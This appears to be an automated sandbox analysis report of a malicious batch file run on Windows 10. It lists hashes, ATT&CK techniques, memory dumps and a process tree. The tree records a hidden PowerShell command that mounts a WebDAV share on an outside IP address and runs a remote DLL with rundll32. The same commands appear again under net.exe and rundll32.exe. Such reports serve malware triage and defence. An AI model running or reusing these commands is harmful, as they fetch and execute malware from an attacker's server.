4098062d433518dbea30c49b0905df84be8de1fde17359b589aac16a8c04b72b

Analysis

max time kernel
120s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
12/07/2024, 08:47

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General

Target

195088682237351719.bat
Size

2KB
MD5

73fb9185870fd4cc6931023b873112a2
SHA1

dbba95c178c3860e7d314d6c4b549040aa162e5b
SHA256

4098062d433518dbea30c49b0905df84be8de1fde17359b589aac16a8c04b72b
SHA512

16b2aae78f76082bd8d7e718a399e23b246d100316ea76704ca068566896c7a647f21e3e624f33f84798c0952deb82448640cfb41641e24ecd3069f13909d27c

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1004	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1004	powershell.exe
1004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2000	wordpad.exe
2000	wordpad.exe
2000	wordpad.exe
2000	wordpad.exe
2000	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 2000	2524	cmd.exe	85
PID 2524 wrote to memory of 2000	2524	cmd.exe	85
PID 2524 wrote to memory of 1004	2524	cmd.exe	87
PID 2524 wrote to memory of 1004	2524	cmd.exe	87
PID 1004 wrote to memory of 4804	1004	powershell.exe	89
PID 1004 wrote to memory of 4804	1004	powershell.exe	89
PID 1004 wrote to memory of 3504	1004	powershell.exe	91
PID 1004 wrote to memory of 3504	1004	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\195088682237351719.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\784.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4804
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\784.dll,entry
    3⤵
    PID:3504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1o5myoi1.cvu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1004-0-0x00007FF97A213000-0x00007FF97A215000-memory.dmp

Filesize
8KB

Download
memory/1004-1-0x00007FF97A210000-0x00007FF97ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/1004-2-0x00007FF97A210000-0x00007FF97ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/1004-12-0x00000227BDF80000-0x00000227BDFA2000-memory.dmp

Filesize
136KB

Download
memory/1004-15-0x00007FF97A210000-0x00007FF97ACD1000-memory.dmp

Filesize
10.8MB

Download